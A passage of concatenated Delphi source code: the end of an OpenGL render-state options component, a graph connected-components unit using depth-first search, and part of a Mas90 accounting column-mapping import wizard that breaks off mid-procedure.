SetEnable(GL_NORMALIZE, FEnableNormalize);
Change;
end;
function TGLDStateOptions.GetEnablePointSmooth: GLboolean;
begin
FEnablePointSmooth := glIsEnabled(GL_POINT_SMOOTH);
Result := FEnablePointSmooth;
end;
procedure TGLDStateOptions.SetEnablePointSmooth(Value: GLboolean);
begin
FEnablePointSmooth := Value;
SetEnable(GL_POINT_SMOOTH, FEnablePointSmooth);
Change;
end;
function TGLDStateOptions.GetEnablePolygonSmooth: GLboolean;
begin
FEnablePolygonSmooth := glIsEnabled(GL_POLYGON_SMOOTH);
Result := FEnablePolygonSmooth;
end;
procedure TGLDStateOptions.SetEnablePolygonSmooth(Value: GLboolean);
begin
FEnablePolygonSmooth := Value;
SetEnable(GL_POLYGON_SMOOTH, FEnablePolygonSmooth);
Change;
end;
function TGLDStateOptions.GetEnablePolygonStipple: GLboolean;
begin
FEnablePolygonStipple := glIsEnabled(GL_POLYGON_STIPPLE);
Result := FEnablePolygonStipple;
end;
procedure TGLDStateOptions.SetEnablePolygonStipple(Value: GLboolean);
begin
FEnablePolygonStipple := Value;
SetEnable(GL_POLYGON_STIPPLE, FEnablePolygonStipple);
Change;
end;
function TGLDStateOptions.GetEnableScissorTest: GLboolean;
begin
FEnableScissorTest := glIsEnabled(GL_SCISSOR_TEST);
Result := FEnableScissorTest;
end;
procedure TGLDStateOptions.SetEnableScissorTest(Value: GLboolean);
begin
FEnableScissorTest := Value;
SetEnable(GL_SCISSOR_TEST, FEnableScissorTest);
Change;
end;
function TGLDStateOptions.GetEnableStencilTest: GLboolean;
begin
FEnableStencilTest := glIsEnabled(GL_STENCIL_TEST);
Result := FEnableStencilTest;
end;
procedure TGLDStateOptions.SetEnableStencilTest(Value: GLboolean);
begin
FEnableStencilTest := Value;
SetEnable(GL_STENCIL_TEST, FEnableStencilTest);
Change;
end;
function TGLDStateOptions.GetFogColor: TGLDColor4fClass;
begin
glGetFloatv(GL_FOG_COLOR, FFogColor.GetPointer);
Result := FFogColor;
end;
procedure TGLDStateOptions.SetFogColor(Value: TGLDColor4fClass);
begin
if Value = nil then Exit;
PGLDColor4f(FFogColor.GetPointer)^ := PGLDColor4f(Value.GetPointer)^;
glFogfv(GL_FOG_COLOR, FFogColor.GetPointer);
Change;
end;
function TGLDStateOptions.GetFogDensity: GLfloat;
begin
glGetFloatv(GL_FOG_DENSITY, @FFogDensity);
Result := FFogDensity;
end;
procedure TGLDStateOptions.SetFogDensity(Value: GLfloat);
begin
FFogDensity := Value;
glFogf(GL_FOG_DENSITY, FFogDensity);
Change;
end;
function TGLDStateOptions.GetFogEnd: GLfloat;
begin
glGetFloatv(GL_FOG_END, @FFogEnd);
Result := FFogEnd;
end;
procedure TGLDStateOptions.SetFogEnd(Value: GLfloat);
begin
FFogEnd := Value;
glFogf(GL_FOG_END, FFogEnd);
Change;
end;
function TGLDStateOptions.GetFogHintMode: TGLDHintMode;
var
i: GLint;
begin
glGetIntegerv(GL_FOG_HINT, @i);
case i of
GL_FASTEST: FFogHintMode := hmFastest;
GL_NICEST: FFogHintMode := hmNicest;
GL_DONT_CARE: FFogHintMode := hmDontCare;
end;
Result := FFogHintMode;
end;
procedure TGLDStateOptions.SetFogHintMode(Value: TGLDHintMode);
begin
FFogHintMode := Value;
glHint(GL_FOG_HINT, GLD_HINT_MODES[FFogHintMode]);
Change;
end;
function TGLDStateOptions.GetFogIndex: GLint;
begin
glGetIntegerv(GL_FOG_INDEX, @FFogIndex);
Result := FFogIndex;
end;
procedure TGLDStateOptions.SetFogIndex(Value: GLint);
begin
FFogIndex := Value;
glFogi(GL_FOG_INDEX, FFogIndex);
Change;
end;
function TGLDStateOptions.GetFogMode: TGLDFogMode;
var
i: GLint;
begin
glGetIntegerv(GL_FOG_MODE, @i);
case i of
GL_LINEAR: FFogMode := fmLinear;
GL_EXP: FFogMode := fmExp;
GL_EXP2: FFogMode := fmExp2;
end;
Result := FFogMode;
end;
procedure TGLDStateOptions.SetFogMode(Value: TGLDFogMode);
begin
FFogMode := Value;
glFogi(GL_FOG_MODE, GLD_FOG_MODES[FFogMode]);
Change;
end;
function TGLDStateOptions.GetFogStart: GLfloat;
begin
glGetFloatv(GL_FOG_START, @FFogStart);
Result := FFogStart;
end;
procedure TGLDStateOptions.SetFogStart(Value: GLfloat);
begin
FFogStart := Value;
glFogf(GL_FOG_START, FFogStart);
Change;
end;
function TGLDStateOptions.GetFrontFace: TGLDFrontFace;
var
i: GLint;
begin
glGetIntegerv(GL_FRONT_FACE, @i);
case i of
GL_CW: FFrontFace := ffCW;
GL_CCW: FFrontFace := ffCCW;
end;
Result := FFrontFace;
end;
procedure TGLDStateOptions.SetFrontFace(Value: TGLDFrontFace);
begin
FFrontFace := Value;
glFrontFace(GLD_FRONT_FACES[FFrontFace]);
Change;
end;
function TGLDStateOptions.GetIndexMask: GLuint;
begin
glGetIntegerv(GL_INDEX_WRITEMASK, @FIndexMask);
Result := FIndexMask;
end;
procedure TGLDStateOptions.SetIndexMask(Value: GLuint);
begin
FIndexMask := Value;
glIndexMask(FIndexMask);
Change;
end;
function TGLDStateOptions.GetLineSmoothHintMode: TGLDHintMode;
var
i: GLint;
begin
glGetIntegerv(GL_LINE_SMOOTH_HINT, @i);
case i of
GL_FASTEST: FLineSmoothHintMode := hmFastest;
GL_NICEST: FLineSmoothHintMode := hmNicest;
GL_DONT_CARE: FLineSmoothHintMode := hmDontCare;
end;
Result := FLineSmoothHintMode;
end;
procedure TGLDStateOptions.SetLineSmoothHintMode(Value: TGLDHintMode);
begin
FLineSmoothHintMode := Value;
glHint(GL_LINE_SMOOTH_HINT, GLD_HINT_MODES[FLineSmoothHintMode]);
Change;
end;
function TGLDStateOptions.GetLineStippleFactor: GLint;
begin
glGetIntegerv(GL_LINE_STIPPLE_REPEAT, @FLineStippleFactor);
Result := FLineStippleFactor;
end;
procedure TGLDStateOptions.SetLineStippleFactor(Value: GLint);
begin
FLineStippleFactor := Value;
glLineStipple(FLineStippleFactor, GetLineStipplePattern);
Change;
end;
function TGLDStateOptions.GetLineStipplePattern: GLushort;
var
i: GLint;
begin
glGetIntegerv(GL_LINE_STIPPLE_PATTERN, @i);
FLineStipplePattern := i;
Result := FLineStipplePattern;
end;
procedure TGLDStateOptions.SetLineStipplePattern(Value: GLushort);
begin
FLineStipplePattern := Value;
glLineStipple(GetLineStippleFactor, FLineStipplePattern);
Change;
end;
function TGLDStateOptions.GetLineWidth: GLfloat;
begin
glGetFloatv(GL_LINE_WIDTH, @FLineWidth);
Result := FLineWidth;
end;
procedure TGLDStateOptions.SetLineWidth(Value: GLfloat);
begin
FLineWidth := Value;
glLineWidth(FLineWidth);
Change;
end;
function TGLDStateOptions.GetLogicOp: TGLDLogicOp;
var
i: GLint;
begin
glGetIntegerv(GL_LOGIC_OP_MODE, @i);
case i of
GL_CLEAR: FLogicOp := loClear;
GL_SET: FLogicOp := loSet;
GL_COPY: FLogicOp := loCopy;
GL_COPY_INVERTED: FLogicOp := loCopyInverted;
GL_NOOP: FLogicOp := loNoop;
GL_INVERT: FLogicOp := loInvert;
GL_AND: FLogicOp := loAnd;
GL_NAND: FLogicOp := loNand;
GL_OR: FLogicOp := loOr;
GL_NOR: FLogicOp := loNor;
GL_XOR: FLogicOp := loXor;
GL_EQUIV: FLogicOp := loEquiv;
GL_AND_REVERSE: FLogicOp := loAndReverse;
GL_AND_INVERTED: FLogicOp := loAndInverted;
GL_OR_REVERSE: FLogicOp := loOrReverse;
GL_OR_INVERTED: FLogicOp := loOrInverted;
end;
Result := FLogicOp;
end;
procedure TGLDStateOptions.SetLogicOp(Value: TGLDLogicOp);
begin
FLogicOp := Value;
glLogicOp(GLD_LOGIC_OPS[FLogicOp]);
Change;
end;
function TGLDStateOptions.GetPerspectiveCorrectionHintMode: TGLDHintMode;
var
i: GLint;
begin
glGetIntegerv(GL_PERSPECTIVE_CORRECTION_HINT, @i);
case i of
GL_FASTEST: FPerspectiveCorrectionHintMode := hmFastest;
GL_NICEST: FPerspectiveCorrectionHintMode := hmNicest;
GL_DONT_CARE: FPerspectiveCorrectionHintMode := hmDontCare;
end;
Result := FPerspectiveCorrectionHintMode;
end;
procedure TGLDStateOptions.SetPerspectiveCorrectionHintMode(Value: TGLDHintMode);
begin
FPerspectiveCorrectionHintMode := Value;
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GLD_HINT_MODES[FPerspectiveCorrectionHintMode]);
Change;
end;
function TGLDStateOptions.GetPointSize: GLfloat;
begin
glGetFloatv(GL_POINT_SIZE, @FPointSize);
Result := FPointSize;
end;
procedure TGLDStateOptions.SetPointSize(Value: GLfloat);
begin
FPointSize := Value;
glPointSize(FPointSize);
Change;
end;
function TGLDStateOptions.GetPointSmoothHintMode: TGLDHintMode;
var
i: GLint;
begin
glGetIntegerv(GL_POINT_SMOOTH_HINT, @i);
case i of
GL_FASTEST: FPointSmoothHintMode := hmFastest;
GL_NICEST: FPointSmoothHintMode := hmNicest;
GL_DONT_CARE: FPointSmoothHintMode := hmDontCare;
end;
Result := FPointSmoothHintMode;
end;
procedure TGLDStateOptions.SetPointSmoothHintMode(Value: TGLDHintMode);
begin
FPointSmoothHintMode := Value;
glHint(GL_POINT_SMOOTH_HINT, GLD_HINT_MODES[FPointSmoothHintMode]);
Change;
end;
function TGLDStateOptions.GetPolygonModeBack: TGLDPolygonMode;
var
PM: array[1..2] of GLenum;
begin
glGetIntegerv(GL_POLYGON_MODE, @PM);
case PM[2] of
GL_POINT: FPolygonModeBack := pmPoint;
GL_LINE: FPolygonModeBack := pmLine;
GL_Fill: FPolygonModeBack := pmFill;
end;
Result := FPolygonModeBack;
end;
procedure TGLDStateOptions.SetPolygonModeBack(Value: TGLDPolygonMode);
begin
FPolygonModeBack := Value;
glPolygonMode(GL_BACK, GLD_POLYGON_MODES[FPolygonModeBack]);
Change;
end;
function TGLDStateOptions.GetPolygonModeFront: TGLDPolygonMode;
var
PM: array[1..2] of GLenum;
begin
glGetIntegerv(GL_POLYGON_MODE, @PM);
case PM[1] of
GL_POINT: FPolygonModeFront := pmPoint;
GL_LINE: FPolygonModeFront := pmLine;
GL_Fill: FPolygonModeFront := pmFill;
end;
Result := FPolygonModeFront;
end;
procedure TGLDStateOptions.SetPolygonModeFront(Value: TGLDPolygonMode);
begin
FPolygonModeFront := Value;
glPolygonMode(GL_FRONT, GLD_POLYGON_MODES[FPolygonModeFront]);
Change;
end;
function TGLDStateOptions.GetPolygonSmoothHintMode: TGLDHintMode;
var
i: GLint;
begin
glGetIntegerv(GL_POLYGON_SMOOTH_HINT, @i);
case i of
GL_FASTEST: FPolygonSmoothHintMode := hmFastest;
GL_NICEST: FPolygonSmoothHintMode := hmNicest;
GL_DONT_CARE: FPolygonSmoothHintMode := hmDontCare;
end;
Result := FPolygonSmoothHintMode;
end;
procedure TGLDStateOptions.SetPolygonSmoothHintMode(Value: TGLDHintMode);
begin
FPolygonSmoothHintMode := Value;
glHint(GL_POLYGON_SMOOTH_HINT, GLD_HINT_MODES[FPolygonSmoothHintMode]);
Change;
end;
function TGLDStateOptions.GetShadeModel: TGLDShadeModel;
var
i: GLint;
begin
glGetIntegerv(GL_SHADE_MODEL, @i);
case i of
GL_FLAT: FShadeModel := smFlat;
GL_SMOOTH: FShadeModel := smSmooth;
end;
Result := FShadeModel;
end;
procedure TGLDStateOptions.SetShadeModel(Value: TGLDShadeModel);
begin
FShadeModel := Value;
glShadeModel(GLD_SHADE_MODELS[FShadeModel]);
Change;
end;
function TGLDStateOptions.GetStencilFunc: TGLDStencilFunc;
var
i: GLint;
begin
glGetIntegerv(GL_STENCIL_FUNC, @i);
case i of
GL_NEVER: FStencilFunc := sfNever;
GL_LESS: FStencilFunc := sfLess;
GL_LEQUAL: FStencilFunc := sfLessOrEqual;
GL_GREATER: FStencilFunc := sfGreater;
GL_GEQUAL: FStencilFunc := sfGreaterOrEqual;
GL_EQUAL: FStencilFunc := sfEqual;
GL_NOTEQUAL: FStencilFunc := sfNotEqual;
GL_ALWAYS: FStencilFunc := sfAlways;
end;
Result := FStencilFunc;
end;
procedure TGLDStateOptions.SetStencilFunc(Value: TGLDStencilFunc);
begin
FStencilFunc := Value;
glStencilFunc(GLD_STENCIL_FUNCS[FStencilFunc], GetStencilFuncRef, GetStencilFuncMask);
Change;
end;
function TGLDStateOptions.GetStencilFuncRef: GLint;
begin
glGetIntegerv(GL_STENCIL_REF, @FStencilFuncRef);
Result := FStencilFuncRef;
end;
procedure TGLDStateOptions.SetStencilFuncRef(Value: GLint);
begin
FStencilFuncRef := Value;
glStencilFunc(GLenum(GetStencilFunc), FStencilFuncRef, GetStencilFuncMask);
Change;
end;
function TGLDStateOptions.GetStencilFuncMask: GLuint;
begin
glGetIntegerv(GL_STENCIL_VALUE_MASK, @FStencilFuncMask);
Result := FStencilFuncMask;
end;
procedure TGLDStateOptions.SetStencilFuncMask(Value: GLuint);
begin
FStencilFuncMask := Value;
glStencilFunc(GLenum(GetStencilFunc), GetStencilFuncRef, FStencilFuncMask);
Change;
end;
function TGLDStateOptions.GetStencilOpFail: TGLDStencilOp;
var
i: GLint;
begin
glGetIntegerv(GL_STENCIL_FAIL, @i);
FStencilOpFail := GLDXEnumToStencilOp(i);
Result := FStencilOpFail;
end;
procedure TGLDStateOptions.SetStencilOpFail(Value: TGLDStencilOp);
begin
FStencilOpFail := Value;
glStencilOp(GLD_STENCIL_OPS[FStencilOpFail],
GLD_STENCIL_OPS[GetStencilOpZFail],
GLD_STENCIL_OPS[GetStencilOpZPass]);
Change;
end;
function TGLDStateOptions.GetStencilOpZFail: TGLDStencilOp;
var
i: GLint;
begin
glGetIntegerv(GL_STENCIL_PASS_DEPTH_FAIL, @i);
FStencilOpZFail := GLDXEnumToStencilOp(i);
Result := FStencilOpZFail;
end;
procedure TGLDStateOptions.SetStencilOpZFail(Value: TGLDStencilOp);
begin
FStencilOpZFail := Value;
glStencilOp(GLD_STENCIL_OPS[GetStencilOpFail],
GLD_STENCIL_OPS[FStencilOpZFail],
GLD_STENCIL_OPS[GetStencilOpZPass]);
Change;
end;
function TGLDStateOptions.GetStencilOpZPass: TGLDStencilOp;
var
i: GLint;
begin
glGetIntegerv(GL_STENCIL_PASS_DEPTH_PASS, @i);
FStencilOpZPass := GLDXEnumToStencilOp(i);
Result := FStencilOpZPass;
end;
procedure TGLDStateOptions.SetStencilOpZPass(Value: TGLDStencilOp);
begin
FStencilOpZPass := Value;
glStencilOp(GLD_STENCIL_OPS[GetStencilOpFail],
GLD_STENCIL_OPS[GetStencilOpZFail],
GLD_STENCIL_OPS[FStencilOpZPass]);
Change;
end;
procedure Register;
begin
RegisterComponents('GLDraw', [TGLDViewer]);
end;
end.
|
unit DSA.Graph.Component;
interface
uses
System.SysUtils,
System.Classes,
DSA.Interfaces.DataStructure,
DSA.Utils;
type
TComponent = class
private
__g: IGraph;
__visited: array of boolean; // 记录dfs的过程中节点是否被访问
__ccount: integer; // 记录联通分量个数
__id: array of integer; // 每个节点所对应的联通分量标记
/// <summary> 图的深度优先遍历 </summary>
procedure __dfs(v: integer);
public
constructor Create(g: IGraph);
/// <summary> 返回图的联通分量个数 </summary>
function Count: integer;
/// <summary> 查询点v和点w是否联通 </summary>
function IsConnected(v, w: integer): boolean;
end;
procedure Main;
implementation
uses
DSA.Graph.SparseGraph,
DSA.Graph.DenseGraph;
procedure Main;
var
fileName: string;
g: IGraph;
cm: TComponent;
begin
// TestG1.txt - g1 and g2
begin
fileName := FILE_PATH + GRAPH_FILE_NAME_1;
g := TSparseGraph.Create(13, False);
TDSAUtils.ReadGraph(g, fileName);
cm := TComponent.Create(g);
WriteLn('TestG1.txt, Using Sparse Graph, Component Count: ', cm.Count);
WriteLn(cm.IsConnected(3, 4));
WriteLn;
g := TDenseGraph.Create(13, False);
TDSAUtils.ReadGraph(g, fileName);
cm := TComponent.Create(g);
WriteLn('TestG1.txt, Using Dense Graph, Component Count: ', cm.Count);
WriteLn(cm.IsConnected(3, 4));
end;
TDSAUtils.DrawLine;
// TestG2.txt - g1 and g2
begin
fileName := FILE_PATH + GRAPH_FILE_NAME_2;
g := TSparseGraph.Create(7, False);
TDSAUtils.ReadGraph(g, fileName);
cm := TComponent.Create(g);
WriteLn('TestG2.txt, Using Sparse Graph, Component Count: ', cm.Count);
WriteLn(cm.IsConnected(3, 4));
WriteLn;
g := TDenseGraph.Create(7, False);
TDSAUtils.ReadGraph(g, fileName);
cm := TComponent.Create(g);
WriteLn('TestG2.txt, Using Dense Graph, Component Count: ', cm.Count);
WriteLn(cm.IsConnected(3, 4));
end;
end;
{ TComponent }
constructor TComponent.Create(g: IGraph);
var
i: integer;
begin
__g := g;
__ccount := 0;
SetLength(__visited, __g.Vertex);
SetLength(__id, __g.Vertex);
for i := 0 to __g.Vertex - 1 do
begin
__visited[i] := False;
__id[i] := -1;
end;
// 求图的联通分量
for i := 0 to __g.Vertex - 1 do
begin
if __visited[i] = False then
begin
__dfs(i);
inc(__ccount);
end;
end;
end;
function TComponent.Count: integer;
begin
Result := __ccount;
end;
function TComponent.IsConnected(v, w: integer): boolean;
begin
Assert((v >= 0) and (v < __g.Vertex));
Assert((w >= 0) and (w < __g.Vertex));
Result := __id[v] = __id[w];
end;
procedure TComponent.__dfs(v: integer);
var
i: integer;
begin
__visited[v] := True;
__id[v] := __ccount;
for i in __g.AdjIterator(v) do
begin
if __visited[i] = False then
__dfs(i);
end;
end;
end.
|
unit uWizSetupColumns;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uParentWizard, ImgList, StdCtrls, ExtCtrls, ComCtrls, Grids, uMas90, DB,
ADODB, Buttons, dxDBTLCl, dxGrClms, dxTL,
dxDBCtrl, dxDBGrid, dxCntner, siComp, uRegistry;
type
TWizSetupColumns = class(TParentWizard)
tsSoftware: TTabSheet;
tsOption: TTabSheet;
tsColumn: TTabSheet;
treeSoftware: TTreeView;
Label20: TLabel;
sgColumns: TStringGrid;
cbColumns: TComboBox;
lbColumnInfo: TLabel;
lbSoftware: TLabel;
OD: TOpenDialog;
Panel2: TPanel;
sbOpenFile: TSpeedButton;
edtPath: TEdit;
Label2: TLabel;
cbxFileType: TComboBox;
Label3: TLabel;
Label1: TLabel;
procedure sbOpenFileClick(Sender: TObject);
procedure sgColumnsSelectCell(Sender: TObject; ACol, ARow: Integer;
var CanSelect: Boolean);
procedure treeSoftwareClick(Sender: TObject);
procedure cbColumnsChange(Sender: TObject);
procedure cbColumnsExit(Sender: TObject);
procedure cbxFileTypeChange(Sender: TObject);
private
{ Private declarations }
fMas90 : TMas90;
procedure AddMas90ColumnsToImportExport;
procedure FillMas90ColumnsGrid;
procedure FillColumnGrid;
procedure SaveGridColumn;
procedure GetGridColumn;
function HasValidHeader:Boolean;
protected
procedure OnAfterDoFinish; override;
procedure OnBeforeBackClick; override;
function TestBeforeNavigate:Boolean; override;
function DoFinish:Integer; override;
function OnAfterChangePage:Boolean; override;
procedure ClearColumns;
public
{ Public declarations }
end;
implementation
uses uMsgBox, uNumericFunctions, uParamFunctions, uDM; //uMsgConstant;
{$R *.DFM}
{ TWizSetupColumns }
procedure TWizSetupColumns.AddMas90ColumnsToImportExport;
begin
if not Assigned(fMas90) then
fMas90 := fMas90.Create;
with fMas90 do
begin
ClearColumnsToImport;
case DM.iEntityType of
ENTITY_CUSTOMER :
begin
//AddColumnToImport(Mas90_COL_ENTITY_Division_No);
AddColumnToImport(Mas90_COL_ENTITY_Customer_No);
AddColumnToImport(Mas90_COL_ENTITY_Name);
AddColumnToImport(Mas90_COL_ENTITY_Address_1);
AddColumnToImport(Mas90_COL_ENTITY_Address_2);
AddColumnToImport(Mas90_COL_ENTITY_City);
AddColumnToImport(Mas90_COL_ENTITY_State);
AddColumnToImport(Mas90_COL_ENTITY_Zip_Code);
AddColumnToImport(Mas90_COL_ENTITY_Phone_No);
//AddColumnToImport(Mas90_COL_ENTITY_Terms_Code);
AddColumnToImport(Mas90_COL_ENTITY_Country_Code);
AddColumnToImport(Mas90_COL_ENTITY_Tax_Schedule);
AddColumnToImport(Mas90_COL_ENTITY_Tax_Exempt_No);
AddColumnToImport(Mas90_COL_ENTITY_Shipping_Method);
AddColumnToImport(Mas90_COL_ENTITY_Fax_Number);
AddColumnToImport(Mas90_COL_ENTITY_Email_Address);
//AddColumnToImport(Mas90_COL_ENTITY_Salesprsn_No);
AddColumnToImport(Mas90_COL_ENTITY_Default_SLS_CD);
AddColumnToImport(Mas90_COL_ENTITY_Cust_Type);
AddColumnToImport(Mas90_COL_ENTITY_Price_Level);
end;
ENTITY_PAYMENT :
begin
AddColumnToImport(Mas90_COL_ENTITY_Bank_Code);
AddColumnToImport(Mas90_COL_ENTITY_Deposit_Number);
//AddColumnToImport(Mas90_COL_ENTITY_Division_No);
AddColumnToImport(Mas90_COL_ENTITY_Customer_No);
AddColumnToImport(Mas90_COL_ENTITY_Customer_Name);
AddColumnToImport(Mas90_COL_ENTITY_Batch_Number);
AddColumnToImport(Mas90_COL_ENTITY_Invoice_No);
AddColumnToImport(Mas90_COL_ENTITY_Amount_Posted);
AddColumnToImport(Mas90_COL_ENTITY_Dep_Post_Date);
AddColumnToImport(Mas90_COL_ENTITY_Document_No);
AddColumnToImport(Mas90_COL_ENTITY_Deposit_Type);
AddColumnToImport(Mas90_COL_ENTITY_Payment_Type);
AddColumnToImport(Mas90_COL_ENTITY_Deposit_Balance);
AddColumnToImport(Mas90_COL_ENTITY_Cust_Post_Amt);
end;
ENTITY_SALE_INVOICE :
begin
AddColumnToImport(Mas90_COL_ENTITY_Invoice_No);
AddColumnToImport(Mas90_COL_ENTITY_Invoice_Date);
//AddColumnToImport(Mas90_COL_ENTITY_Division_No);
AddColumnToImport(Mas90_COL_ENTITY_Customer_No);
//AddColumnToImport(Mas90_COL_ENTITY_Default_Whse);
//AddColumnToImport(Mas90_COL_ENTITY_Tax_Schedule);
//AddColumnToImport(Mas90_COL_ENTITY_Terms_Code);
//AddColumnToImport(Mas90_COL_ENTITY_Salesprsn);
AddColumnToImport(Mas90_COL_ENTITY_Line_Type);
AddColumnToImport(Mas90_COL_ENTITY_Item_Number);
AddColumnToImport(Mas90_COL_ENTITY_Discount);
//AddColumnToImport(Mas90_COL_ENTITY_Subj_to_Exempt);
//AddColumnToImport(Mas90_COL_ENTITY_WareHouse_Code);
//AddColumnToImport(Mas90_COL_ENTITY_Cost_Type);
//AddColumnToImport(Mas90_COL_ENTITY_Product_Line);
//AddColumnToImport(Mas90_COL_ENTITY_Unit_of_Measure);
AddColumnToImport(Mas90_COL_ENTITY_Lot_Serno_Dist);
//AddColumnToImport(Mas90_COL_ENTITY_Cogs_Account);
//AddColumnToImport(Mas90_COL_ENTITY_Reg_Sales_Acnt);
//AddColumnToImport(Mas90_COL_ENTITY_Price_Ovrrddn);
//AddColumnToImport(Mas90_COL_ENTITY_Kit_Item);
//AddColumnToImport(Mas90_COL_ENTITY_Bkord_Comp_LN);
//AddColumnToImport(Mas90_COL_ENTITY_Skip_Comp);
//AddColumnToImport(Mas90_COL_ENTITY_Um_Conv_Factor);
//AddColumnToImport(Mas90_COL_ENTITY_GL_Sales_Accnt);
//AddColumnToImport(Mas90_COL_ENTITY_Misc_Item_Flag);
//AddColumnToImport(Mas90_COL_ENTITY_Misc_Item);
//AddColumnToImport(Mas90_COL_ENTITY_Stand_Kit_Bill);
AddColumnToImport(Mas90_COL_ENTITY_Tax_Class);
AddColumnToImport(Mas90_COL_ENTITY_Qty_Ordered);
AddColumnToImport(Mas90_COL_ENTITY_Qty_Shipped);
//AddColumnToImport(Mas90_COL_ENTITY_Qty_Backordered);
AddColumnToImport(Mas90_COL_ENTITY_Unit_Price);
AddColumnToImport(Mas90_COL_ENTITY_Extension);
AddColumnToImport(Mas90_COL_ENTITY_Taxable_Amt);
AddColumnToImport(Mas90_COL_ENTITY_Non_Tax_Amt);
AddColumnToImport(Mas90_COL_ENTITY_Sales_Tax);
AddColumnToImport(Mas90_COL_ENTITY_Line_Disc_Perct);
AddColumnToImport(Mas90_COL_ENTITY_Unit_Cost);
AddColumnToImport(Mas90_COL_ENTITY_Item_Desc);
AddColumnToImport(Mas90_COL_ENTITY_Ship_Date);
AddColumnToImport(Mas90_COL_ENTITY_Order_Date);
AddColumnToImport(Mas90_COL_ENTITY_Invoice_due_dt);
AddColumnToImport(Mas90_COL_ENTITY_Discount_Due_Dt);
AddColumnToImport(Mas90_COL_ENTITY_Bill_to_Name);
AddColumnToImport(Mas90_COL_ENTITY_Bill_to_Addrs1);
AddColumnToImport(Mas90_COL_ENTITY_Bill_to_Addrs2);
AddColumnToImport(Mas90_COL_ENTITY_Bill_to_City);
AddColumnToImport(Mas90_COL_ENTITY_Bill_to_State);
AddColumnToImport(Mas90_COL_ENTITY_Bill_to_Zip_CD);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_Code);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_Name);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_Addrs1);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_Addrs2);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_City);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_State);
AddColumnToImport(Mas90_COL_ENTITY_Ship_to_Zip_CD);
AddColumnToImport(Mas90_COL_ENTITY_Comm_Desc_Line1);
//AddColumnToImport(Mas90_COL_ENTITY_Comm_Desc_Line2);
//AddColumnToImport(Mas90_COL_ENTITY_Misc_Slash);
//AddColumnToImport(Mas90_COL_ENTITY_Charge_AMT);
//AddColumnToImport(Mas90_COL_ENTITY_Misc_Code);
AddColumnToImport(Mas90_COL_ENTITY_Description);
AddColumnToImport(Mas90_COL_ENTITY_Freight);
end;
end;
end;
end;
procedure TWizSetupColumns.FillMas90ColumnsGrid;
begin
if not Assigned(fMas90) then
fMas90 := TMas90.Create;
AddMas90ColumnsToImportExport;
FMas90.GetColumnsToImport(sgColumns, nil);
sgColumns.Cells[COLUMN_ID,0] := 'Col';
sgColumns.Cells[COLUMN_OTHER_ACC,0] := 'Mas90';
sgColumns.Cells[COLUMN_OFFICEM,0] := 'Main Retail';
end;
procedure TWizSetupColumns.GetGridColumn;
var
sColumn : String;
sResult : String;
i : integer;
begin
sColumn := DM.GetIniFile('ColumnSetup', ACC_SOFTWARE_MAS90 + IntToStr(DM.iEntityType));
if sColumn = '' then
Exit;
for i:=1 to sgColumns.RowCount-1 do
begin
sResult := ParseParam(sColumn, Trim(sgColumns.Cells[COLUMN_OTHER_ACC,i]));
if sResult <> '' then
sgColumns.Cells[COLUMN_OFFICEM,i] := sResult;
end;
end;
function TWizSetupColumns.HasValidHeader: Boolean;
var
i : integer;
begin
//Verify if the column to import has an valida header
Result := False;
for i:=1 to sgColumns.RowCount-1 do
if {MyStrToInt}StrtoInt(sgColumns.Cells[COLUMN_ID,i]) <> 0 then
begin
Result := True;
Break;
end;
end;
function TWizSetupColumns.OnAfterChangePage: Boolean;
begin
if pgOption.ActivePage.Name = 'tsColumn' then
begin
DM.fLocalPath := edtPath.Text;
DM.SetIniFileString('Setup',InttoStr(DM.iSoftware)+'_FilePath',edtPath.Text);
ClearColumns;
cbColumns.Clear;
case DM.iEntityType of
ENTITY_CUSTOMER : DM.OpenCustomer;
ENTITY_PAYMENT : DM.OpenPaymentTotal('10/01/2004','10/01/2005');
ENTITY_SALE_INVOICE : DM.OpenSaleInvoice('10/01/2004','10/01/2005');
end;
SaveGridColumn;
FillColumnGrid;
//Fill system columns from Registry
GetGridColumn;
end
else if pgOption.ActivePage.Name = 'tsOption' then
begin
edtPath.Text := DM.fLocalPath;
DM.SetIniFileString('Setup','SoftwareDefault',InttoStr(DM.iSoftware));
end;
end;
procedure TWizSetupColumns.OnBeforeBackClick;
begin
if pgOption.ActivePage.Name = 'tsColumn' then
SaveGridColumn;
end;
procedure TWizSetupColumns.SaveGridColumn;
var
sColumn : String;
i : integer;
begin
for i:=1 to sgColumns.RowCount-1 do
if Trim(sgColumns.Cells[COLUMN_OFFICEM,i]) <> '' then
if Pos(Trim(sgColumns.Cells[COLUMN_OTHER_ACC,i]), sColumn) = 0 then
sColumn := sColumn + sgColumns.Cells[COLUMN_OTHER_ACC,i]+'='+
sgColumns.Cells[COLUMN_OFFICEM,i]+';';
if sColumn = '' then
Exit;
DM.SetIniFileString('ColumnSetup', ACC_SOFTWARE_MAS90 + IntToStr(DM.iEntityType), sColumn);
end;
function TWizSetupColumns.TestBeforeNavigate: Boolean;
begin
Result := True;
if pgOption.ActivePage.Name = 'tsSoftware' then
begin
if treeSoftware.Selected.Index = -1 then
begin
MsgBox('Select Software to Export', vbInformation + vbOKOnly);
Result := False;
Exit;
end;
end
else if pgOption.ActivePage.Name = 'tsOption' then
begin
if cbxFileType.Text = '' then
begin
MsgBox('Select File Type', vbInformation + vbOKOnly);
cbxFileType.SetFocus;
Result := False;
Exit;
end;
end
else if pgOption.ActivePage.Name = 'tsColumn' then
begin
SaveGridColumn;
DM.CloseQuerys;
end;
end;
procedure TWizSetupColumns.sbOpenFileClick(Sender: TObject);
var
sFile : String;
begin
if OD.Execute then
begin
sFile := LowerCase(OD.FileName);
edtPath.Text := sFile;
end;
end;
procedure TWizSetupColumns.sgColumnsSelectCell(Sender: TObject; ACol,
ARow: Integer; var CanSelect: Boolean);
var
R: TRect;
begin
//Somente na Coluna desejada
if ((ACol = COLUMN_OFFICEM) AND (ARow <> 0)) then
begin
{Size and position the combo box to fit the cell}
R := sgColumns.CellRect(ACol, ARow);
R.Left := R.Left + sgColumns.Left;
R.Right := R.Right + sgColumns.Left;
R.Top := R.Top + sgColumns.Top;
R.Bottom := R.Bottom + sgColumns.Top;
